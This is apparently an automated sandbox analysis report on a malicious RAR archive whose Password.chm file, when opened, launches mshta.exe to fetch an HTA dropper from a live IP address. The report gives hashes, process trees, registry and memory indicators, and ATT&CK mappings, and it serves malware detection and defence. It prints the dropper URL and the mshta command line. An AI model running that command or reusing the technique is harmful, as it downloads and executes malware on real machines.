df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5

Analysis

max time kernel
263s
max time network
265s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21/03/2023, 18:34

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General

Target

df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5.rar
Size

20KB
MD5

e9230cf7615338ab037719646d67351b
SHA1

12103bc077f677afb2ba7fac6445df3dd2f6df00
SHA256

df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5
SHA512

ea105a506746142d84622e73af65992abb12b1c78810d8d9814f4e34434aa4886faf8bf52938bf307d04d235676e4751c8c2f635600e42d434f1f458d5e8188c
SSDEEP

384:eADnJetU1vItt31ye18De7iKncEHAUuOeja4zj6acJP7D8ynXITubFoxZ:eAj8O1vItZ1ye1T7ier/uOFc6FJPkGXW

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://141.105.65.165/data/11.html

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
44	3312	mshta.exe
53	3848	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	3628	7zG.exe
Token: 35	3628	7zG.exe
Token: SeSecurityPrivilege	3628	7zG.exe
Token: SeSecurityPrivilege	3628	7zG.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3628	7zG.exe

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
1460	OpenWith.exe
4272	hh.exe
4272	hh.exe
3296	OpenWith.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 3312	4272	hh.exe	104
PID 4272 wrote to memory of 3312	4272	hh.exe	104
PID 4272 wrote to memory of 3848	4272	hh.exe	106
PID 4272 wrote to memory of 3848	4272	hh.exe	106

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5.rar
1⤵
- Modifies registry class
PID:4992

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1460

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1284

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\" -ad -an -ai#7zMap18022:186:7zEvent644
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3628

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\Password.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
  2⤵
  - Blocklisted process makes network request
  PID:3312
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
  2⤵
  - Blocklisted process makes network request
  PID:3848

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\Password.chm

Filesize
10KB

MD5
b39182a535f41699280ca088eef0f258

SHA1
e1d570867afe13dcd4a9193a23c1deee384eb342

SHA256
ff0d4259510d8b9d6e43cec5224d72570f3b4e17ebd7f0c1ad1922748dec15e6

SHA512
b084b53dd6f25ae066b60b4e4a8037d7e9eeea7fa02acf4518289b98f106a7872fae1d5d731ada5ecbb7589f6dc221cf162143702f0650caad098eab6ddfbd91

Download Submit
memory/3312-146-0x000002F528AB0000-0x000002F529207000-memory.dmp

Filesize
7.3MB

Download
memory/3848-152-0x000001851E920000-0x000001851F077000-memory.dmp

Filesize
7.3MB

Download
memory/4272-145-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download
memory/4272-147-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download
memory/4272-150-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download
memory/4272-153-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download
memory/4272-162-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download
memory/4272-167-0x00000260D51A0000-0x00000260D6817000-memory.dmp

Filesize
22.5MB

Download